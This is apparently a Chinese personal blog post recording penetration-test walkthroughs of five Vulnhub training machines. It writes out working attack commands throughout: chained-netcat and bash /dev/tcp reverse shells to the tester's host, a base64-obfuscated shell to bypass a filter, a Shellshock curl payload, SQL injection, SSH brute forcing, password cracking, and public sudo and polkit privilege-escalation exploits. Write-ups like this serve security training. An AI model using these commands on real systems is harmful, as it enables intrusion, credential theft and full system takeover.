Vulnhub记录
前言,搁置了很长很长一段时间的渗透实操,也得重新掌握起来,学习某位同学,一周三个靶机,并完整记录下来,之前DC系列已经打完
easy_cloudantivirus
信息收集
一开始发现目标ip,可以用netdiscover
,arp-scan -l -I eth
等等
接下来是目标ip的详细信息
1 | nmap -A -sV -sC 192.168.1.8 > info.txt |
可以看到,目标开启了22的ssh端口和8080(80端口做了迁移),先访问8080看看,有一个输入邀请码的界面,尝试了一下简单的sql注入,发现并无回显
扫描配置的后台文件,dirsearc又发现了一个/console的界面(需要输入pin码)
回到网页首页,我们对输入参数做一个所有可输入符号的Fuzz,枚举所有符号输入,果然有收获
可以看到,对于"
的输入,其==返回异常==,返回sqlite错误,可能存在sql注入
重点关注报错语句
可以看到,当输入"
时候,将前面一个闭合,可以根据该语句构造payload
1 | " or 1 -- |
这个页面尝试输入文件测试,会卡住很长时间(直接给我干崩,重启大法好)所以第二次从小文件量的hello测试,发现返回/output
输出结果,形式很像linux命令行的结果,推测其可能直接作为命令进行执行
使用hello | ls
进行测试,发现果然是这样
既然命令执行,那可以直接弹shell啊,直接hello | nc 192.168.1.10 520 -e /bin/bash
但是实际发现并无结果,,,查看资料发现,可能是靶机的nc版本太老了,不支持-e参数,这里学到了一个骚操作,nc串联弹shell
直接发送命令hello | nc 192.168.1.10 521 | /bin/bash | nc 192.168.1.10 520
可以看到此时有结果了,之前发现服务器上安装有py,所以改成交互式shell,==(麻了,520端口似乎被占用无法用于回弹,换一个,521和1111,我说咋一直没回显)==
现在回弹shell成功,接下来就是查询用户以及密码,直接cat /etc/passwd
可以注意到有两个用户,cloudav和scanner(使用whoami可以发现我们用户是scanner),那只剩下ssh爆破?
再回过头来查询database.sql的内容(kali安装了sqlite3,绝了)
1 | sqlite3 |
即可查询所有内容,所以之前的密码是password?
用这几个密码,连接ssh试试,看看能不能出用户,rshell太受限制了,试了爆破,不行。。。
1 | hydra -L user.txt -P pwd.txt 192.168.1.8 ssh |
人麻了,试试本地提权吧,find查找具有SUID权限的文件
1 | find / -perm -u=s -type f 2>/dev/null |
结果如下
1 | /usr/lib/dbus-1.0/dbus-daemon-launch-helper |
我们一眼发现一个不一样的东西==/home/scanner/update_cloudav
==,这是一个二进制文件,直接被赋予了SUID的权限,之前也打过像这种直接弹shell的话就可以得到root用户权限的shell,但是二进制文件无法修改了,所幸给了源码,我们进行查看
直接,将我们的输入作为root用户的命令执行?那这不直接弹个shell
1 | ./update_cloudav "1 | nc 192.168.1.10 4444 | /bin/bash | nc 192.168.1.10 5555" |
OK,结束,root权限
The planets: Earth
信息收集老套路了,netdiscover加nmap
nmap扫描结果
1 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-15 16:40 HKT |
从上面可以看出,端口开了dns解析,我们修改/etc/hosts
文件,添加192.168.1.6 earth.local
和192.168.1.6 terratest.earth.local
的解析,再进行访问即可,80端口页面有提交窗口,还有奇怪的previous messages
测试发现,提交一次就会添加一个解析数字
1 | 1&1-->00 |
dirsearch扫描后台发现admin登录页面
接下来是443端口,访问https://terratest.earth.local/
,莫得信息,后台页面扫描
访问robots.txt
,一串配置信息
最后一行明显是有信息的,但是不知道具体格式,fuzz一下测出来发现是/testingnotes.txt
1 | Testing secure messaging system notes: |
testdata.txt中的信息是
1 | According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago. |
我们来分析一下,去了解了一下XOR加密
XOR加密有一个重要的性质
$$
aXORbXORa=a
$$
因为该运算建立在阿贝尔群上,所以满足交换,我们根据信息已知,testdata.txt经过了一次XOR 加密,有三个previous messages,所以我们只需要将正确的previous messages再次与testdata.txt异或运算即可得到对应的key
下面是经过大量尝试得到的其对应加密加密思路,都是使用UTF-8直接进行的XOR运算,结果呈16进制,所以首先将previous messages从16进制转为对应的ascii编码,再与testdata.txt原文进行XOR
可以得到一个周期性的重复字符串earthclimatechangebad4humans
,即为key,对应的解密前两条信息,均为乱码。
直接登录之前的/admin/login
页面,terra&earthclimatechangebad4humans
又是一个命令执行的界面,测试了一下ls有显示,直接nc弹shell
发现会显示,远程连接被禁止,推测会有过滤,检测了nc等相关字符,使用base64加密进行过滤
echo bmMgMTkyLjE2OC4xLjEwIDU1NTUgLWUgL2Jpbi9iYXNoCg== | base64 -d | bash
但是kali上又是没有回弹信息,,,推测又是-e参数没有?
嘶,nc串联弹shell只能连接一下,不能持久,,,这里换一种弹shell的方式
1 | bash -i &>/dev/tcp/192.168.1.10/5555 >&1 |
对上述base64加密echo "bash -i &>/dev/tcp/192.168.1.10/5555 >&1" | base64
然后靶机上输入即可弹shell
还有一种骚气姿势==bash -i >& /dev/tcp/0xc0.0xa8.0x0b.0x81/1234 0>&1
==十六进制绕过,那么理论上也能10进制绕过弹shell
1 | echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMS4xMC81NTU1IDwmMQo= | base64 -d | bash |
解释一下命令,并补充一些弹shell姿势
#bash -i 打开一个交互式的bash
#>& 将标准错误输出重定向到标准输出
#/dev/tcp/your ip/port 意为调用socket,建立socket连接,其中your ip为要反弹到的主机ip,port为端口
#0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互
接下来查看用户,cat /etc/passed
,可以看到earth用户式root权限
那就查看suid权限想办法提权,find / -perm -u=s -type f 2>/dev/null
1 | /usr/bin/chage |
这里想用CVE-2021-4034进行提权==(靶机上unzip,gcc,和polkit都有)==,但是不知道为什么nc传文件总是失败
用find指令很容易找出第一个flag,find -name "*flag.txt"
在kali对应文件夹中,用py开一个http服务,在对应文件夹中
1 | python3 -m http.server 80 |
然后靶机上用wget直接下载到上面存第一个flag的地方
1 | wget http://192.168.1.10/CVE-2021-4034-main.zip |
直接
1 | unzip CVE-2021-4034-main.zip |
OK结束了
Tiki
前两个简单的做的有点不是很合适,Tiki看简介是OSCP靶机难度,试试
仍然是信息收集一套流程,netdiscover发现目标靶机ip:192.168.1.12
,nmap嗅探相关信息和开放端口
1 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-16 18:14 HKT |
Ubuntu系统,开了22,80,139,445等等端口,开启了smb服务。80端口网页是apache默认页面
dirsearch扫描后台,结果有一个很神奇,/tiki/doc/stable.version
是怎么扫出来的,字典这也有?
robots.txt
中配置结果如下
User-Agent: *
Disallow:
Disallow: /tiki/
OK,是个界面,Tiki wiki CMS,而/tiki/doc/stable.version
里是一些数字
1.9.10.1
1.9.11
2.0
2.1
2.2
2.3
2.4
……
18.3
18.4
19.0
19.1
19.2
20.0
20.1
直接搜索该CMS的漏洞,发现当对应版本<21.2时候,存在Tiki Wiki CMS Groupware 认证绕过漏洞(CVE-2020-15906)==我怀疑msf是不是砍掉了好多CVE,,,search莫得这个,最近的只有17年的cve==
试了一下组合的CVE,不太彳亍嗷,这里就不放脚本了,然后我们根据github的链接一步步复现,其实很简单,就是多次爆破,然后回修改数据库中admin账号的密码,50次左右时候,将admin的密码删去提交表单即可成功以admin登录。
进来后,找到一个文件上传的点,测试了一下,不行,,,,,先赶紧把admin的密码改了,修改为********
作为后续使用
继续收集信息,在wiki的list page中,有个用户silly的homepage和一个奇怪的页面
U1S1,这作者蛮皮的I got a new CVE Number: But I constantly forget its ID :/
另一个叫Credential
的页面有信息,这格式太像账号密码了,直接ssh连接试试
ssh -p 22 silky@192.168.1.13
可以,直接连接上了woc
列出账号信息
1 | root:x:0:0:root:/root:/bin/bash |
老方法查看SUID权限
1 | /snap/snapd/17950/usr/lib/snapd/snap-confine |
草我人蒙了,,,我查看ubuntu的系统版本,sudo版本和libc版本,发现都和CVE-2021-3156对的上,,, 所以直接wget传了这个CVE包想着直接提权
1 | lsb_release -a |
./sudo-hax-me-a-sandwich 1
结果出错!我很费解,,,
妈的查了一下才发现,==silky本身就和root权限一样高!==(黑人问号脸.jpg)
1 | youuser ALL=(ALL) ALL |
总结回顾
最后回顾了一下别人的做法,发现可以收集smb服务的消息,这是一个没考虑到的点,这里我还是正常从网站渗透。可以用smbclient \\\\192.168.1.13\\Notes
hacksudo-Thor
老三样的信息收集
netdiscover
发现目标ip:192.168.1.7
1 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-19 20:37 HKT |
开了21,22,80这仨端口,估计重心还是在web上,进行访问80端口
后台扫描,信息还是蛮多的
以此访问,下载README.md,其他页面均为网页的静态页面,其中images有所有图片的下载,是一个图床
tnnd,狗作者,晚上渗透呢妈的放个pennywise的图,服了
这图肯定有问题,md
==binwalk,steghide,stegslove都测过了,这就是个图片,,,tmd突然好气啊==
从下载的README收集信息,发现这个框架开源,直接在github上进行搜索
在其中online-banking-system/net_banking.sql
中发现默认管理员账号密码
在/admin_login.php
页面登录
管理后台检查了一遍,太干净了,没什么利用点感觉,一个上传新闻的位点,上传的也不能作为php代码执行
回过头查看信息,这里了解到一个古早版本的漏洞CVE-2014-6271
,详情参考这篇文章
但是这里需要我首先确定一个存在的/cgi-bin/xxx.xxx
的页面,fuzz一下
可以看到存在/cgi-bin/shell.sh
,但是报500
按照CVE-2014-6271
github地址测试一下
1 | curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \http://172.16.10.106/cgi-bin/shell.sh |
好家伙直接回显,那直接弹shell
1 | curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc 192.168.1.10 5555 -e /bin/bash'" \http://192.168.1.7/cgi-bin/shell.sh |
直接回显!
接下来两步,一:查看当前用户可以无权限执行什么文件sudo -l
。二:find查找suid权限find / -perm -u=s -type f 2>/dev/null
1 | Matching Defaults entries for www-data on HackSudoThor: |
上面列出了两种结果,我们切换thor用户执行hammer.sh
1 | sudo -u thor /home/thor/./hammer.sh |
从上述测试可以看出来,该程序第二个输入的参数message会被当作command执行,那我们直接输入**/bin/bash
**得到Thor的shell
拿到对应的shell后,sudo -l发现还有可以无权限执行的命令
1 | Matching Defaults entries for thor on HackSudoThor: |
从大佬文章中了解一个渗透提权超强的网站GTFObins,直接搜索对应的service,得到提权的方式
1 | /usr/sbin/service ../../bin/sh |
但是需要根据本环境修改
1 | sudo /usr/sbin/service ../../bin/bash |
总结
这里有一个点,就是/cgi-bin/
目录扫描,很依赖一些字典,主要是确定存在的文件名
其次是,当扫描发现了shell.sh
存在,如何确定其是否存在什么样的漏洞
1 | nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.1.7 |
通过nmap的脚本扫描可以得到对应的反馈,破壳漏洞
1 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-20 00:59 HKT |
这里参考别人文章中推荐的扫描工具
1 | gobuster dir -u http://172.16.10.106/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php |
Viking-1
信息收集
1 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-23 21:12 HKT |
这里偷跑了,使用正常的dirsearch扫描,使用的默认字典似乎无法扫描出结果,看了一下wp,似乎使用seclist/Web-common/common.txt才可以扫描出结果
1 | gobuster dir -r -u http://192.168.1.8/site/ -w /usr/share/wordlists/Web-Content/common.txt -x txt,php,html |
访问对应的页面,得到一句话/war-is-over
,访问该页面,得到一串很长的base64编码的数据(太长了,太占地方)
直接用curl访问得到内容
1 | curl http://192.168.1.8/site/war-is-over/ | base64 -d > war-is-over |
很显然这是一个zip的压缩包==(woc这里大佬用CyberChef计算文件的熵约为8判断为压缩包的)==
压缩包有密码,,,需要破解,避坑john的一个使用
1 | zip2john war-is-over.zip > pwd.txt #提权密码信息 |
得到压缩密码后,解压到当前目录,是一张图片==(md,太像CTF了,直接binwalk必有问题)==
1 | binwalk king -e --run-as=root |
很奇怪为啥binwalk要加后面的参数了
解压后是一个user和压缩包,user必是ssh的信息
直接连接
1 | ssh -p 22 floki@192.168.1.8 |
CVE-2021-3156没用,补充wget下载文件夹命令
wget -r -np -nH http://192.168.1.10/CVE-2021-3156-main
使用-e "https_proxy=https://127.0.0.1:xxxx"
设置单次代理
1 | root:x:0:0:root:/root:/bin/bash |
列出/etc/passwd
,可以看出还有一个用户叫做ragnar,根据readme.txt
1 | _______________________________________________________________________Floki-Creation____________________________________________________________________________________________________ |
而下面是boat的内容
1 | #Printable chars are your ally. |
麻了,真麻了,,,绕了好久好久,,,,,
上面的意思是,在所有可打印的字符中,输出克拉茨猜想对第29个素数的展开结果
1 | def collatz(num): |
解码之后直接把输出的密码登录mR)|>^/Gky[gz=\.F#j5P(
进入ragnar的文件夹中,有一个user.txt,类似flag
==rpyc_classic.py
==这个玩意儿被每次ssh登录执行,并且是sudo权限下的执行(ragnar用户),直接插入一段权限提升的代码
查看该程序默认端口18812,因此只需要在ragnar的shell下编写一个提升自己权限的rpy文件即可
1 | import rpyc |
运行上面的程序python3 exp.py
再切换回floki再切换回ragnar,即可运行提权命令,查看id,被添加了sudo权限,直接sudo -s
得到最高权限
- 本文作者: Isabella
- 本文链接: https://username.github.io/2023/11/22/Vulnhub记录/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!